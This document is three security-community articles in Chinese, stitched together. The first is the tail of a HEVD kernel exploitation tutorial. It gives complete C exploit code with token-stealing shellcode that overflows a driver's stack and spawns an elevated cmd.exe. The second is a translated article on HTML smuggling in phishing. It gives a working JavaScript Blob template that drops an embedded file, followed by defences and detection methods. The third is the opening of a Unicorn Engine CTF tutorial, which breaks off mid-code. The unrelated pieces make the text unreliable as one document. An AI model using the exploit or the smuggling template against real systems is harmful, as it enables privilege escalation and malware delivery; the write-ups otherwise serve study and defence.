SearchSystemPID:
mov rax, [rax + 0x188]
sub rax, 0x188
cmp [rax + 0x180], rdx
jne SearchSystemPID
mov rdx, [rax + 0x208]
mov [rcx + 0x208], rdx
add rsp, 0x28
ret
最终`exp`的源码
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#define handle_error(msg, error_code) \
do \
{ \
printf("%s with error code: %d\n", msg, error_code); \
} while (0);
void poc_x64()
{
do {
HANDLE hDevice;
// 2-bit unsigned integer. This is a flag field that indicates various access modes
// to use for creating and opening the file.
// This value SHOULD be set to 0xC0000000, meaning generic read and generic write
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
DWORD dwReturnedBytes = 0;
UCHAR szInBuffer[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C";
if (!DeviceIoControl(hDevice, 0x222003, szInBuffer, sizeof(szInBuffer), NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
}
} while (0);
}
void exp_x64()
{
do {
HANDLE hDevice;
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
UCHAR ulShellcode[] = { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x40, 0x70, 0x48, 0x89, 0xC1,
0x48, 0xC7, 0xC2, 0x04, 0x00, 0x00, 0x00, 0x48, 0x8B,
0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x2D, 0x88, 0x01,
0x00, 0x00, 0x48, 0x39, 0x90, 0x80, 0x01, 0x00, 0x00,
0x75, 0xEA, 0x48, 0x8B, 0x90, 0x08, 0x02, 0x00, 0x00,
0x48, 0x89, 0x91, 0x08, 0x02, 0x00, 0x00, 0x48, 0x83,
0xC4, 0x28, 0xC3 };
PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pEopPayload == NULL)
{
handle_error("VirtualAlloc", GetLastError());
break;
}
RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));
DWORD dwInBufferSize = 2072 + 8;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, 2072, 0x41); // x64
PVOID pShellcode = &pEopPayload;
PVOID *ppShellcode = &pEopPayload;
RtlCopyMemory(pInBuffer + 2072, ppShellcode, 8);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
system("cmd.exe");
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
if (pEopPayload != NULL)
VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
} while (0);
}
int main()
{
exp_x64();
return 0;
}
需要注意的就是`shellcode`中各个结构体在`x64`位中的位置变化，如果不对的话，就需要不断一步一步调试`shellcode`，看到底那一行汇编出问题了。这个过程只是比较繁琐，并不难。
## 结论
内核调试的难点在于繁琐，可能机器需要不停的重启，重启之后需要重新设置环境，启动服务，重新设置断点。需要比调试`ring3`程序更耐心。如果觉得环境被破坏了，重启即可。
这部分`exp`
的编写主要的难点在于`shellcode`，在实验过程中，建议不要直接使用`hevd`提供的利用代码，可以尝试自己写，最多可以用一个`shellcode`，这样的话收获要比直接用要多很多。
## 参考链接
[Windows Kernel Exploitation Tutorial Part 2: Stack
Overflow](https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/)
[HEVD Exploits – Windows 7 x86-64 Stack
Overflow](https://h0mbre.github.io/HEVD_Stackoverflow_64bit/)
[Online x86 / x64 Assembler and
Disassembler](https://defuse.ca/online-x86-assembler.htm#disassembly) | 社区文章 |
# 网络钓鱼技术之HTML走私
|
##### 译文声明
本文是翻译文章，文章原作者 forensixchange，文章来源：forensixchange.com
原文地址：<https://forensixchange.com/posts/21_04_11_ways_of_phishing_02/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
今天介绍一种走私技术， **HTML Smuggling**
，这不是一种特别新的攻击方法，但是它确实在越来越多的攻击场景中出现，其中就包括网络钓鱼。接下来我们就来了解一下HTML走私的来龙去脉以及它在钓鱼中是怎样被利用的吧。
## HTML走私介绍
什么是HTML走私？HTML走私是指，浏览器根据HTML文件的内容在主机上创建恶意文件，而不是直接转发/下载恶意软件的一种技术。HTML走私可以通过在HTML页面中将恶意文件隐藏为编码后的“string”来绕过外围安全性检查和在线检测。
大多数周边/在线安全检测方法都是通过匹配文件中的某些特定模式。但在HTML走私的情况下，恶意文件被嵌在浏览器中，所以检测这样隐藏的代码是困难的。而且由于代码中的混淆，甚至检测HTML走私这种情况本身也很困难。
### 利用方法
在去年也就是2020年的网络钓鱼调查中，我遇到了两种本质上不同的HTML走私方式。这两种方案都将数据存储在HTML文件中，并且提供了无需向服务器发送额外请求就可以“下载”数据的方法。此外，这两种方案都是基于HTML5的下载属性（虽然不是强制性的但是有好处）。
#### Javascript Blob
先介绍第一种方案，基于 **JavaScript Blob** ，也是我经常看到的方案。[
**Blob**](https://developer.mozilla.org/zh-CN/docs/Web/API/Blob)对象表示一个不可变、原始数据的类文件对象。它的数据可以按照文本或二进制的格式进行读取，也可以转换为[
**ReadableStream**](https://developer.mozilla.org/zh-CN/docs/Web/API/ReadableStream)来读取。借助Blob，我们可以将我们的恶意文件存储在HTML代码中，然后将其置入浏览器中，而不是直接向Web服务器发送文件上传请求。
我们可以通过下面两个链接来创建我们的HTML页面：
> <https://gist.github.com/darmie/e39373ee0a0f62715f3d2381bc1f0974>
>
> <https://developer.mozilla.org/en-US/docs/Web/API/Blob>
要存储文件，首先，需要将文件编码为base64，可以在PowerShell中使用一下代码来实现：
$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
然后替换下面html文件中`<>`所指的值。`fileName`变量表示你希望在默认情况下下载文件的名称。`base64_encoded_file`变量存储`base64`编码后的文件。
<html>
<body>
<script>
var fileName = <>
var base64_encoded_file = <>
function _base64ToArrayBuffer(base64,mimeType) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return URL.createObjectURL(new Blob([bytes], {type: mimeType}))
}
var url = _base64ToArrayBuffer(base64_encoded_file,'octet/stream')
const link = document.createElement('a');
document.body.appendChild(link);
link.href = url;
link.download = fileName;
link.innerText = 'Download';
</script>
</body>
</html>
现在只要我们点击上面的链接，就会开始下载步骤。
#### DataURL
实现HTML走私的另一种方案是使用DataURL。这种解决方案就不需要使用JavaScript了。使用DataURL进行HTML走私的目标就是将
**较小的文件** 嵌入HTML文件中。
虽然上面强调了小文件，但是实际上，限制也不是很严格。DataURL的最大长度由浏览器中的最大URL长度决定。比如，在Opera中，这个大小是65535个字符，虽然这个字节数对于转移1080p的电影来说是远远不够的，但是用来反弹shell已经足够了。
这种方法比第一种基于JS Blob的要简单得多。先看一下语法：
> `data:` ：前缀；
>
>
> `[<mediatype>]`：可选项，是一个MIME类型的字符串，比如我们最常见的`image/jpeg`表示JPEG图像，如果缺省，默认值为`text/plain;charset=US-> ASCII`；
>
> `[;base64]`：可选项，如果数据是base64编码的，那么就用`;base64`标记
>
> `,`：将数据与控制信息分开；
>
> `<data>`：数据本身。
<html>
<body>
<a href="data:text/x-powershell;base64,aXBjb25maWcNCmhvc3RuYW1l"
download="test.ps1">
Download
</a>
</body>
</html>
这是一个简单的HTML例子，加载该页面的时候会显示一个download按钮。我们点击下载，浏览器就会将`test.ps1`文件保存到我们的电脑上。而写入的内容自然就是`aXBjb25maWcNCmhvc3RuYW1l`
base64解码后的内容。
发现了一个比较有意思的事情。当讲将`<a>`标签中的`download`去掉后，也就是变成了下面的样子：
<html>
<body>
<a href="data:text/x-powershell;base64,aXBjb25maWcNCmhvc3RuYW1l" >
Download
</a>
</body>
</html>
我们重新在Chrome浏览器中打开并尝试下载，这个时候发现，这个按钮已经失效了，点击不会有任何反应。但是用Firefox打开，依旧可以下载文件，只不过firefox会创建一个随机的文件名，并且保存的文件不会有后缀：
综上，我们可以将DataURL和JS Blob相结合来添加一个函数，当然我们可以不适用任何脚本，但是和上面的例子中的问题一样，显然会更到更多的限制。
### 为什么攻击者会使用HTML走私？
HTML走私是钓鱼攻击一个很好的补充。在HTML走私的帮助下，攻击者可以逃避一些检测和记录机制。在这种方式下，文件被“注入”到HTML文档中，而绝大多数的安全解决方案根本不会去检测。
当然HTML走私也有一些缺点。首先，它需要用户交互，虽然浏览器会自动处理恶意文件，但是下载到用户主机还是需要用户同意，除非配置了未经用户确认的自动下载。而且即使文件被下载了，还是需要将其执行。
## 利用HTML走私来钓鱼
上面介绍了两种常见的HTML走私方法，回到文章的主题，如何利用HTML走私来进行钓鱼呢？这里介绍两种比较常见的方法。首先，第一种是让电子邮件包含一个指向外部网页的链接，而该指向的网页使用了HTML走私技术。这是比较常见的邮件钓鱼方式。另一种方法是，在电子邮件中添加一个HTML附件，该HTML文件走私了恶意代码，这种情况下，用户打开的就是本地的HTML文件，不需要访问外部站点。
在这两种情况下，好处是恶意内容很难被检测到，因为恶意代码隐藏在HTML内容中。通过这种方式，可以绕过很多道安全防御。
#### 正常文件下载
首先，我们来看一下正常的文件下载步骤是怎样的。在下图的例子中，用户访问一个网站，然后下载一个exe文件：
1 . 首先，用户打开一个正常的网站。这个网站可以是用户自己输入的，也可以从包含链接的钓鱼邮件中获得。
2 . 浏览器向网站发送HTTP请求。如果存在代理，那么这个流量就会走代理。
3 .
代理会检查浏览器请求的URL。因为许多的代理都有检查域信誉的能力，如果代理认为请求的域是恶意的，那么Proxy不会进行后续的请求，通信将在这一步就停止；反之，代理会将请求转发给Web服务器。
4 . Web服务器返回请求的资源给代理，在本例中，Web服务器返回的就是一个普通的HTML页面。
5 .
代理检查Web服务器的响应。在这一步会进行各种过滤。代理可以阻止用户下载一些类型的文件。此外，代理可以有一个内置的沙箱来测试文件是否安全，而HTML文件通常不会再沙箱中进行测试就被允许通过代理转发给用户。
6 .
页面通过代理转发给浏览器。此时判断文件可信度的角色就变成了用户，用户可以决定浏览器中显示的某个文件是否安全，如果用户信任，就可以进行文件下载，在本例中，该文件是一个exe文件。
7 . 浏览器向Web服务器发送文件下载请求。
8 . 代理的处理和之前相同，这一步没什么区别。
9 . Web服务器将请求的exe文件发送给代理。
10 .
当代理获得该exe文件时候，它会对其进行综合性评估。如果设置了网络中禁止下载exe文件，那么显然，exe下载请求在这一步就结束了，文件将无法到达用户的机器。代理还会检查文件是否是已知的恶意文件。此外，它还可以决定是不是要将文件放到沙箱中进行测试。这里有一个关键点，当代理知道这个文件是一个可执行文件时候，它可以决定是不是要继续转发。而且，网络分路器（Network
Taps）可以检测到这个exe文件，如果它们认为该文件是恶意的，也可以阻止用户下载该文件。
11 . 如果一切顺利，那么文件就到达了它的最终目的地——用户的电脑。
在上面的步骤中，最重要的一步就是第10步。这一步有普通文件下载和HTML走私下载的最大区别。在正常下载的情况下，exe文件易于检测和评估（比如检查散列，沙箱执行检查，收集头文件信息来判断等等）。而在HTML走私的情况下，文件不会以一种未编码的方式在网络上传播，它总是会被嵌入到另一个HTML文件中。
### 通过e-mail中的外部链接
首先，先介绍一种很常见的走私技巧。在这种情况下，攻击者会将事先准备好的链接放入电子邮件中。该链接会指向包含走私文件的外部链接。在这种情况下，恶意的内容不会通过电子邮件的网关，而是以隐藏的形式，通过代理被用户访问。
1 . 有一个带着外部链接的e-mail向目标用户发送。
2 . 邮件网关对邮件进行检查。在这一步有很多种检查方法，但在本例的场景下，我们就认为邮件网关并不会阻拦该邮件，因为这里没有包含什么恶意文件。
3 . 用户点击邮件中的链接。
4 . 默认浏览器启动。
5 . 浏览器向存储（或是生成）HTML文档的外部站点发送HTTP请求。
6 . 代理会进行一些必要的检查，但是如果该URL并没有被加入黑名单，那么该请求就会被转发到该站点所对应的服务器。
7 . 服务器返回HTML页面以及隐藏在其中的exe文件。exe文件是以字符串的形式存储在文档中，此时它已经变成了HTML内容的一部分。
8 .
代理会检查响应内容。在本例中，响应只是一个HTML文件，代理不会去拦截HTML文件。而且，HTML文件在绝大多数情况下不会被转发到沙箱中执行检查。因而，隐藏在HTML文档中的恶意内容几乎不会在这里被检测到。当然通过其他的检测技术，它们也可能能识别到HTML走私技术（但是这里指的也只是HTML走私这件事本身，而不是隐藏在HTML中的恶意文件）。现在我们就认为代理没有识别出这个情况，将响应HTML页面转发给浏览器。
9 . 浏览器重新拼接嵌入在HTML页面中的字符串，然后启动下载进程。
10 . 最后恶意exe文件被存储到用户的电脑上。
我们可以看到，在这种情况下，e-mail的安全检查机制并不能起到太大的作用。因为电子邮件本身不是恶意的，其中的链接可以是合法的链接。
代理当然可以查看HTML文件，但是很少有安全性检测方案会对HTML文件进行彻底地处理。大多数情况下，这些文件都是被允许通过代理的。IDS解决方案还倾向于依赖检测文件扩展名或是magic
bytes（主要是通过分析文件的第一个字节来判断文件的类型），因此文件中的编码字符串很难被它们捕获。但是其实我们可以创建一个模式匹配解决方案来检测一些隐藏在HTML中的东西。这在后面会提到。
### 通过电子邮件中的HTML附件
这种方法是指包含走私的HTML文件被附加到了电子邮件中。
1 . 邮件网关收到一份带有HTML附件的电子邮件。
2 .
邮件网关会对电子邮件中附带的HTML进行检查。如果检查未通过，那么邮件网关会阻击电子邮件的后续转发或者选择删除附件。但是，现在还没有听说过什么电子邮件安全解决方案能够通过静态分析或者动态分析来检测HTML走私（即使是在HTML走私的是恶意代码。）
3 . 用户打开HTML附件。
4 . 浏览器打开并加载HTML文档。
5 . 浏览器处理HTML文件的内容，处理被走私的文件并将其提供给用户下载。
6 . 文件被保存到计算机上。当然，在这一步，要么需要用户的批准，要么需要浏览器设置了自动下载，就是未经确认的下载。
这种方法相比上一种的好处就在于，它不需要通过任何代理。而且，网络上的IDS/IPS安全检查通常不会去检查电子邮件，所以，如果攻击者能够成功欺骗电子邮件网关，那么在网络上就没有其他的难处了。
## 防御与检测
在这一小节中我们来探讨一下如何防御与检测HTML走私。
在发生了HTML走私的情况下，我们可以有两种检测方式，我们要么就关注HTML走私技术本身，要么可以尝试捕获隐藏在HTML文档中的恶意代码。
### 防御方法
这里介绍几种防御方法。
#### 1\. 禁止JavaScript执行
虽然对于HTML走私没有什么万能的防御办法。禁用JavaScript看起来是一种可行的方案，毕竟一种HTML走私技术就是基于JavaScript
Blob的，但是，在企业环境中禁用JS肯定会带来很多问题。当然，如果在你遇到的显示场景中，禁用JS是可行的，那么也可以尝试这种方法，那么在这个时候，你只需要用模式匹配去识别DataURL是不是存在HTML走私情况就好。
#### 2\. 禁止邮件中的HTML附件
HTML走私的一种类型是使用HTML文件作为附件。不幸的是，这在很多场景中都是常见的，实际上，现在有很多带有HTML附件的合法的、与业务相关的电子邮件在增加。另一方面，不法分子也利用HTML附件来进行钓鱼。
如果你能在不影响业务的情况下阻止带有HTML附件的邮件，那么对于利用邮件中带有的HTML来进行钓鱼的路就被堵住了。那此时我们只需要关注邮件中附带的链接了。
>
> 我们可以看到，前面这两种防御方法都无法同时覆盖所有的HTML走私情况。在最好的情况下，我们可以使用这两种方案来防住部分HTML走私；在最坏的情况下，我们甚至都不能使用这些防御解决方案，因为这些方案在大多数现在企业环境中是不适用的。
#### 3\. Windows应用程序防护（Microsoft Defender Application Guard）
[Microsoft Defender Application Guard](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-application-guard/md-app-guard-overview#:~:text=For%20Microsoft%20Edge%2C%20Application%20Guard,cloud%20resources%2C%20and%20internal%20networks)是Windows提供的一种安全解决方案，主要用于隔离各种试图使用来自不可信源资源的应用程序，后面简称MDAG。MDAG有两种不同的形式。第一种是
**Application Guard for Edge**
，它主要是用来隔离企业定义的不受信任（或不特别受信任）的站点，在企业的员工浏览Internet时保护公司。Application
Guard通过在一个启用了Hyper-V的隔离容器中打开站点来实现这一点。而且，它还与Firefox和Chrome浏览器兼容。
另一个版本是 **Application Guard for Office**
。它能够保护可信资源不受不可信资源的攻击。它也是通过在一个容器中打开不受信任的Word、Excel、PowerPoint文档来实现。当然，这也和HTML走私无关，所以就不继续讨论了。
#### **Application Guard for Edge**
我们已经知道，Application Guard for
Edge主要是通过在隔离的虚拟环境中打开不受信任的链接来保护我们的系统。如此一来，一个未知的URL，或者说是一个恶意的URL就不会对主机造成危害了。下载的恶意文件会被隔离存储在隔离的环境中，而不会直接与宿主机接触。
如果一个链接在电子邮件中到达，并且给定的URL并不在Application
Guard的白名单中，那么它就会在一个隔离的Edge中被打开。因为对于该URL的访问是在隔离的环境中进行的，那么每个文件下载行为也都是在这个隔离的环境中进行的，因此被走私的恶意文件不会对主机造成真实伤害。
当然，这个解决方案也并不是十全十美的。它也有一些缺点：
1 .
为了使Edge能发挥作用，你需要使用白名单和untrust来标记一切网站。这在大公司中，意味着相关的管理员需要承受巨大的负载。因为用户会不断地进行异常请求。
2 . 虽然Application
Guard能够防住以链接形式附在电子邮件中的HTML走私请求，但是它无法防御以电子邮件附件形式传递的HTML走私。这些附件到达用户主机后，会作为本地文件在浏览器中打开，因此，这些文件不会被当作不受信任的域来处理，不会在隔离的Edge容器中打开这些HTML文件，也就不会触发Application
Guard。因此通过电子邮件附件进行的HTML走私在这种情况下依然可以成功。
3 . 会影响用户访问站点的速度，因为需要启动容器。
### 检测方法
#### 1\. 模式匹配
如果HTML文件中没有利用JS来走私，而是仅仅使用了DataURL，在这种情况下，我们可以使用模式匹配（比如匹配`data:`）来判断是不是发生了HTML走私。我们可以实用IDS或是简单的YARA工具来检测，比如github上的开源工具[LaikaBOSS](https://github.com/lmco/laikaboss)就是一款可用的检测工具。
KaikaBOSS对于下载的文件（HTML文件），甚至是电子邮件附带的文件，都非常有效。它可以检测大量的数据，伸缩性很好，所以即使在大型环境中，也同样可以派上用场。
如果使用了JavaScript，那么可能代码是被混淆过的，此时模式匹配可能就不太有效果了。我们只能用其他的方法来检测混淆的代码。
#### 2\. 检测浏览器是否通过网络下载文件
在使用了HTML走私的场景下，被下载的文件是在浏览器中创建的，而在一般的下载场景中，我们可以看到，是需要我们向Web服务器发起请求，然后Web服务器传送给我们的，而且还会经过代理，经由代理检查文件的安全性。因此我们还可以通过关注普通文件下载和基于HTML文件创建下载文件之间的区别来鉴别HTML走私。因此我们可以通过查看代理日志、观察是否有浏览器进行在主机上创建文件等方式来查看是不是发生了HTML走私。
这种方式的缺点在于：
1 .
许多流量在默认情况下不会通过代理。比如，一些公司会配置它们的网络，使其内部网站无法通过代理访问。这个时候，如果通过浏览器生成了一个文件，但是没有代理日志。这种情况经常发生，不应该基于这种情况创建警报。
2 . 在一些情况下，用户可以绕过代理，也不会产生代理日志。
3 . 可以在浏览器中打开本地文件，然后保存为新文件，这也是浏览器创建的文件，同样没有代理日志。
如果用户是在上面的情况下进行合法行为，我们都不应该进行拦截，因此难点就在于我们很难区分这是不是一种走私情况。
#### 3\. 沙箱执行
您可以将HTML文件发送到沙箱，然后使用沙箱中的浏览器打开它。不是通过互联网访问的HTML文件除了一些临时文件之外，不应该在机器上创建任何文件。理论上，如果在没有网络访问的情况下，HTML文件在沙箱中创建了文件，那么沙箱应该要发出一个警报来提醒用户。
但是，经验表明，HTML文件通常不会放到沙箱中打开。它们可以通过静态分析进行检查（如LaikaBoss），也可以动态分析进行检查，但是动态分析将花费更多的时间，并且会显著降低网络速度。
但是沙箱这个解决方案在大多数的情况下不是特别友好，因为在转发给用户之前打开每个HTML文件负载也挺大的。而且，如果恶意文件是需要用户点击下载的，那么这种方式也行不通，只有在页面配置了自动下载的情况下，我们才能通过沙箱来检测。所以总体来说，这也不是一个特别好的方法。
#### 4\. 使用Zone.Identifier
另一种方式是使用取证分析中可能会使用的技术——[`Zone.Identifier`](https://cyberforensicator.com/2018/06/26/where-did-it-come-from-forensic-analysis-of-zone-identifier/)来区分是不是发生了HTML走私。
由HTML走私创建的文件的Zone.Identifier是这样的（在新版Edge、Chrome和Firefox测试过）：
[ZoneTransfer]
ZoneId=3
HostUrl=about:internet
而正常下载的文件的Zone.Identifier则是（这在不同的浏览器之间存在区别）:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://www.sans.org/security-resources/posters/windows-forensic-analysis/170/download
HostUrl=https://www.sans.org/security-resources/posters/windows-forensic-analysis/170/download
这种方法的局限就在于，它只能在Windows(NTFS)上这样做。因此这种方式也不是完全可靠的。
#### 5\. Chrome组件
Chrome会存储下载文件的来源，如果源是JavaScript Blob或是DataURL，那么这些信息就会作为源显示。
当我们打开一个本地的HTML被走私文件：
当然上面的信息不会告诉我们该被走私的恶意文件是从哪里下载的。
当我们访问远程的走私HTML文件时，我们就可以看到相应的恶意文件下载URL了，但是也仅仅是在走私文件是使用了JS
Blob时能看到，在使用DataURL时则不会显示远程链接：
这种情况相比前面的几种方法看起来更加实用。在远程访问，并使用了JS
Blob的情况下，我们甚至能看到恶意文件的真实来源，如果攻击者使用了DataURL，我们还可以利用这个信息重新生成文件，这在一些场景下可能也是有用的。
## 总结
总体来说，目前想要完全检测和防御HTML走私是一件比较困难的事情。当然，上面介绍的方法也只是相对简单地介绍了HTML走私下的钓鱼事情，在现实攻击场景中，可能会遇到更复杂的情况。 | 社区文章 |
# 挑战4个任务：迅速上手Unicorn Engine
##### 译文声明
本文是翻译文章，文章原作者 eternal，文章来源：eternal.red
原文地址：<http://eternal.red/2018/unicorn-engine-tutorial/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在这篇教程中，您将通过解决实际问题来练习如何使用Unicorn
Engine。一共有4个练习，其中我将会详细讲解第一个练习，而对于其他练习我们会提供提示和解决方案供大家阅读。
### FAQ：
#### 1、什么是Unicorn Engine？
Unicore
Engine是一个模拟器，尽管并不太常见。通过该模拟器，您不用模仿整个程序或系统。这一模拟器不支持系统调用，必须先映射内存，并手动将数据写入到内存中，然后才能从指定的地址开始模拟。
#### 2、这篇文章中的内容可以用于什么场景？
我们可以在不创建有害进程的前提下，从恶意软件中调用一个特定的函数。此外还可以用于CTF比赛，用于基于漏洞注入的自动软件测试，也可以用于能预测未来的gdb插件（例如实现进一步的跳转），还可以用来仿真混淆的代码。
#### 3、要开始本教程的练习，我需要安装什么？
需要安装Unicorn Engine，并连接Python。此外，还需要一个反汇编工具。
## 任务1
该任务来自hxp CTF 2017，名称为斐波那契，地址为：<https://ctftime.org/event/489> 。
二进制文件可以在这里下载：<http://eternal.red/assets/files/2017/UE/fibonacci> 。
当我们运行这个程序的时候，我们可以注意到，它会计算并打印我们的Flag，但这个过程非常缓慢，并且Flag的计算过程会随着字节的增多变得越来越慢。
该题的Flag为：hxp{F。
这就意味着，我们需要对程序进行优化，以在合理的时间内得到Flag。
在IDA
Pro的帮助下，我们将代码反编译成像C语言一样的伪代码。尽管代码最终并不一定能被正确地反编译，但我们通过这一过程，可以对代码的具体功能有一定的了解。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *v3; // rbp@1
int v4; // ebx@1
signed __int64 v5; // r8@2
char v6; // r9@3
__int64 v7; // r8@3
char v8; // cl@3
__int64 v9; // r9@5
int a2a; // [sp+Ch] [bp-1Ch]@3
v3 = &encrypted_flag;
v4 = 0;
setbuf(stdout, 0LL);
